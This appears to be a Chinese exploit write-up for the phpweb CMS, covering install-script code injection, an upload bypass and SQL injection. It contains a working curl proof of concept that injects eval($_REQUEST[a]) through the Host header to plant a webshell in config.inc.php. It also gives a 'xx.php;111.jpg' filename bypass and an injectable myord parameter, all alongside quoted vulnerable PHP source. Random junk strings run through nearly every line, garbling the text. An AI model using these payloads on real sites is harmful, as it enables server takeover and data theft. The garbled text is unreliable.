注入:* k1 ^/ P; [) C |; l4 Z
2 J0 W# `" J3 w5 p+ V之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码/ W8 o& N. y! z9 t2 B+ H4 I
, q" W/ g' V9 H) Z4 W# w0 y8 _/ I鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件! j9 C1 j# E) ~7 f& i
鸡肋2: 有一定安全常识的站长都会删掉 install 目录' n6 D1 D" y9 A, M
5 Y* H {% t% e1 I: E虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
, T5 o+ i- W2 F# f4 e
g) G8 c2 t$ B! a分析:8 {4 R+ f4 U+ Z {0 D5 c# k4 X
0 k2 c" Y; \1 Z$ G# k
) ?, x5 U8 B5 l9 A: D; T4 B
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
# @3 [% Q, a; y n " f0 J. U' f3 u8 @. j2 j
$filestr = fread(fopen($SysConfigFile, 'r'),30000);
! ]3 V7 V8 P0 A3 F $filestr=str_replace(" ","",$filestr);
8 S) t) b9 }0 F7 `+ Q; ?- b2 U $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
0 b1 |! }# C9 f" e $filestr=str_replace("DefaultDbName",$dbname,$filestr);
" Z% ]- T `, q7 V2 \( }9 j $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);/ \ b# @5 L. x
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
3 J2 [7 I1 J/ k8 \& g0 o( L $filestr=str_replace("DefaultsLan","zh_cn",$filestr);; z! `8 G B M
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);0 Y0 H; _* ~( S6 E1 d q
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);+ L9 q0 T; S% X8 \9 I# N. L8 j
1 _8 n9 G+ X' ~- ] fwrite(fopen($ConFile,"w"),$filestr,30000); @8 ~* B l7 T! L3 c
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
; G* f) g; h! P7 n + ^2 m1 m R+ A& v' M
poc:. z( x* r! _, c5 F1 k
# Z. J) [& z( A?/ y; }1 t0 G$ p
1
4 Z* b& [# r$ k& u' r- P7 B, ncurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"# [6 x' f4 d* V- T: J6 B
shell地址: /config.inc.php/ v/ a% ~8 ~3 m1 D- x- o/ k% c
跟之前的 phpcms一样 需要远程数据库" |( ~5 V2 ]& h! q( X/ o
( \/ D5 r. J. b4 p
——————————————————–
- W# [* r8 Z/ \7 T# Y V上传漏洞(需要进后台):
" `" F+ d. A/ u漏洞文件: /kedit/upload_cgi/upload.php6 ^# u& X ^! S0 u4 o
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
( } `- G- W8 R' b$ J6 u. C
$ x+ n; v* @3 g6 A7 m% ? " n: r( P3 T( x% c0 k# G% B
<?php. H+ R1 _, V1 z& z, D* {$ d+ _
define("ROOTPATH", "../../");% j% H6 X6 C; Y8 g# r" R, @
include(ROOTPATH."includes/admin.inc.php");$ Z0 `( \# K* Y4 _8 l0 Z
NeedAuth(0);: P! q0 ~* ~5 s( [5 _% N% Q
8 }+ N2 C) T" U- I1 Q0 U
$dt=date("Ymd",time());- M; s& x* r- V+ }$ G {
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
. Y5 m2 w- I% g3 d @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
- B2 i( E$ E/ ?! P' U( w, ^2 i }
4 A+ I0 m% C/ y! X, h1 Y ! Q3 z. @, S" c0 p7 C6 n
//文件保存目录路径* f$ |" t3 F# A% T3 F& I- M
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
6 H: U9 N! ]; H' N echo $save_path;
; }: W. r7 C1 c: c" \/ j& A, d //文件保存目录URL/ w: E: N5 |6 W3 l
$save_url = '../../'.$_POST['attachPath'].$dt.'/';$ T" n/ [, K, ]
0 O- C# W7 W6 u0 M6 U
//定义允许上传的文件扩展名, M6 O- O, B) J% ^+ q
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀& r0 W m* o# L5 @; K# Q, G
$ i3 ^" b4 {% o z" H( b9 D& W! v8 Q //最大文件大小
. K% l2 c4 J$ F7 x6 Q $max_size = 1000000;' @$ |( f) f* k, p" }: b! U
0 W) v* m1 ]: O" ~7 ^7 e
//更改目录权限( W4 l9 z( h: z [: G
@mkdir($save_path, 0777);3 ` I' @( \' T
- f; f! M. p9 G3 L9 p6 X& f //文件的全部路径' C. r& K) G. A) | y, t
$file_path = $save_path.$_POST['fileName']; //保存文件名
2 m, k3 Y4 ^* u. v
) E, p2 w+ T* y. V //文件URL
- y$ b! m9 W& x0 X+ ^ $file_url = $save_url.$_POST['fileName'];. t" W7 I+ K2 |/ N. I
//有上传文件时; b8 u' _# A. f6 w" G
if (empty($_FILES) === false) {2 }( B* p' [( }1 Z7 V. c
, N2 C) a" H* a9 N
//原文件名
$ M4 |0 N5 w; h% p" i, ?8 @, S3 R: B $file_name = $_FILES['fileData']['name'];3 H) S$ z2 x& F- {/ X
//服务器上临时文件名
- i$ J4 y( H% n0 ^; V $tmp_name = $_FILES['fileData']['tmp_name'];
5 S6 c$ D& H Q# C# G //文件大小; J' t/ q! h& r
$file_size = $_FILES['fileData']['size'];% K) s2 y I* g" K
//检查目录" g: B: ^* L) G& U- d
if (@is_dir($save_path) === false) {
# \, m$ q: i9 ]2 V alert("上传目录不存在。");9 Z; R" G0 b; a, u+ G; V
}
9 N( b8 x% w0 x+ [ //检查目录写权限+ C0 L# g( H6 D) r9 o
if (@is_writable($save_path) === false) {
( ]4 q u% }( ?, a- U/ z alert("上传目录没有写权限。");
+ G( `) i# ?" k" h9 j1 L: ^ }
$ u( V+ l+ |5 c) z4 L1 ] //检查是否已上传; X- N* z2 [" v' U
if (@is_uploaded_file($tmp_name) === false) {
A- }* N1 o. Q. x" X$ } alert("临时文件可能不是上传文件。");
" P' t1 p9 k$ B3 Y }6 d& T5 D |0 ]0 b; U- D
//检查文件大小) B; \" J1 J( b- `: ]
if ($file_size > $max_size) {1 ~: [( U @; E% y9 [; s; Q$ D
alert("上传文件大小超过限制。");
[6 u; ?" r8 e. b$ q6 `7 } }
: @( P! P1 t4 P( h //获得文件扩展名
$ W- L- k; M" r I% ?" Q% V $temp_arr = explode(".", $_POST['fileName']);
: B# ?4 D X3 L/ q, G& Q2 ?' z2 S $file_ext = array_pop($temp_arr);# K \. ]2 b8 e+ w8 a. W
$file_ext = trim($file_ext);$ `$ o. E& C& A: p# `
$file_ext = strtolower($file_ext);5 T7 F7 l% ` d) B, P( ?
% l( D5 F/ V1 V //检查扩展名
+ `* Z' T8 ]9 }+ S0 v4 G9 r if (in_array($file_ext, $ext_arr) === false) { % V# G9 C0 L2 x% l
alert("上传文件扩展名是不允许的扩展名。");7 G. ]( m+ a3 K3 j" z
}/ x1 M9 H5 Y( V) }* h
6 I, @& v- \$ Y( }0 o8 O( B4 ]1 G" P
//移动文件
: a- A, T! j6 q0 z: Y4 e6 J( f: d //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^# p% n' z, A8 Z/ ?9 p2 _
if (move_uploaded_file($tmp_name, $file_path) === false) {
1 C8 K3 ^. b9 U; S3 _1 ]" p3 l alert("上传文件失败。");
. U" x' @* W+ n* s, N8 c9 e% d }
* _( v5 T7 U. x! U% [% |
! `, n: P; X1 ] @chmod($file_path,0666);8 ]8 e* h( b8 D+ `% U- F2 K
0 D1 ~, a/ _$ b4 S0 y0 j
?>
2 i4 @- K5 Z' ?5 b0 K+ n抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
) E1 r H8 C% b; Y/ Z- |( x. u6 \+ U $ g9 L' Z$ M, q& q# C2 w
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
# e7 |- J, m( @# U: C3 O- ?2 W3 [" R G, x: V S, t* ?1 y
——————————————————
% v/ O5 e! v# \; z注入漏洞:+ n4 P5 S- a$ \4 }. L+ G
漏洞文件:search/module/search.php
) g2 V# D( H7 ]$ z* v/search/index.php?key=1&myord=1 [sqlinjection]: l8 `* p2 e* m1 _4 F: f9 U
5 Z) D+ G" p/ \# Y: d
6 G* b, h* C- K _1 ^<?php
9 Z; y5 n( a0 } // ... 省略 n 行...# \# ?. Z3 e+ h
//第18行:" O8 l, ~* j3 e: i7 M, W
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响* _& x, u ~( N) q1 K& d! z
$page=htmlspecialchars($_GET["page"]);
/ ]7 ?8 A- z& f5 K6 C& L $myord=htmlspecialchars($_GET["myord"]);
& P7 |6 i3 }( M4 a , q7 }( v A- G6 [2 c# M
// ... 省略 n 行...
, }4 O9 g/ V- v" P0 R1 c4 L $key,$myord 两个参数带入查询% ]$ U' w. E* V, f2 l
//第47行 $key:
! t {: o: o9 j U3 L) h7 j ; k! ^2 |8 P. u# H4 t. G+ c
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..3 z4 S4 C$ e/ S# U8 ?) }5 J& s
2 b' N) v h- q- l& E
//第197行 $myord
( M4 g$ x* `) C0 `: V3 x! S $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入' O1 \: o9 [0 q) m# p8 L7 v
3 P1 O7 W z4 }
?>
3 s& j/ o& P$ }/ V2 Y |